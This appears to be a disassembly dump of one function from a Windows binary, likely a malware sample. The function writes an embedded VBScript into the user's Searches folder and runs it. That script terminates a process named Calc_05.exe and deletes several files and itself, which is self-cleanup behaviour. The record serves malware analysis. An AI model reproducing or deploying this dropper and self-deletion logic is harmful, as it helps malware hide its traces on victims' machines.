Function at 0x47cbac
Capabilities:
Create process on windows
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x58
call fcn.0040d470
mov dword [esp], 0x409
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
call fcn.0047b380
lea ecx, [eax + 0x409]
mov dword [ebp - 0x24], eax
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov edi, eax
mov bl, byte [edx + str.On_Error_Resume_Next_r_nWScript.Sleep_10000__r_nSet_objWMIService__GetObject__winmgmts:._rootcimv2___r_nSet_colProcesses__objWMIService.ExecQuery__Select__from_Win32_Process_Where_Name__Calc_05.exe___r_nFor_Each_objProcess_in_colProcesses_r_n____objProcess.Terminate___r_nNext_r_n_r_nWScript.Sleep_1000__r_n_r_nSet_objFSO__CreateObject__Scripting.FileSystemObject___r_nSet_objShell__CreateObject__WScript.Shell___r_n_r_nscriptName__WScript.ScriptName_r_nscriptNameWithoutExtension__Left_scriptName__InStrRev_scriptName___._____1__r_n_r_nscriptPath__objFSO.GetParentFolderName_WScript.ScriptFullName__r_ntempPath__scriptPath__r_n_r_nfilePath1__tempPath___B___scriptNameWithoutExtension___.exe__r_nobjFSO.DeleteFile_filePath1__r_n_r_nfilePath1__tempPath______scriptNameWithoutExtension_r_nobjFSO.DeleteFile_filePath1__r_n_r_nfilePath1__tempPath______scriptNameWithoutExtension___.exe__r_nobjFSO.DeleteFile_filePath1__r_n_r_nfilePath1__tempPath___Report.me__r_nobjFSO.DeleteFile_filePath1__r_n_r_nfilePath__tempPath______scriptName_r_nobjFSO.DeleteFile_filePath__r_n]
add edi, edx
je 0x47cc03
mov byte [eax + edx], bl
inc edx
cmp edx, 0x409
jne 0x47cbf4
lea ebx, [ebp - 0x28]
mov dword [ebp - 0x20], ecx
call fcn.00420c14
mov dword [esp], str.USERPROFILE
call sub.msvcrt.dll_getenv
lea ecx, [ebp - 0x38]
mov dword [esp], eax
mov dword [esp + 4], ebx
call fcn.00451cb0
push eax
push eax
lea ecx, [ebp - 0x38]
mov dword [esp], str.Searches
call fcn.00452510
mov esi, dword [ebp - 0x38]
push edx
lea ecx, [ebp - 0x34]
mov dword [esp + 4], ebx
mov dword [esp], esi
mov edi, esi
call fcn.00451cb0
push ecx
push ecx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, esi
not ecx
lea edx, [esi + ecx - 1]
mov ecx, ebx
call fcn.004462a0
lea ecx, [ebp - 0x30]
mov dword [esp], 0x48c0e0
mov dword [ebp - 0x30], eax
call fcn.004487d0
push edi
lea ecx, [ebp - 0x30]
mov dword [esp], 0x48b2a8
call fcn.00448810
push eax
lea ecx, [ebp - 0x30]
mov dword [esp], 0x48c0e4
call fcn.004487d0
lea ecx, [ebp - 0x30]
push eax
call fcn.004467f0
lea ecx, [ebp - 0x30]
mov edi, eax
call fcn.00446ab0
lea ecx, [ebp - 0x2c]
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], eax
mov edi, esi
call fcn.00452330
xor eax, eax
or ecx, 0xffffffff
sub esp, 0xc
repne scasb al, byte es:[edi]
mov eax, esi
not ecx
lea edx, [esi + ecx - 1]
lea ecx, [ebp - 0x39]
call fcn.004462a0
mov ecx, ebx
mov dword [esp], 0x48c0ee
mov dword [ebp - 0x28], eax
call fcn.004487d0
push eax
mov ecx, ebx
mov dword [esp], 0x48b2a8
call fcn.00448810
push eax
mov ecx, ebx
mov dword [esp], 0x48c0f4
call fcn.004487d0
push eax
mov dword [esp], ebx
call fcn.00421090
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call fcn.00420df8
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteW]
mov ecx, ebx
sub esp, 0x18
call fcn.00448650
lea ecx, [ebp - 0x2c]
call fcn.00452390
lea ecx, [ebp - 0x30]
call fcn.00448650
lea ecx, [ebp - 0x34]
call fcn.00452390
lea ecx, [ebp - 0x38]
call fcn.00452390
mov eax, dword [ebp - 0x24]
call fcn.00455750
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret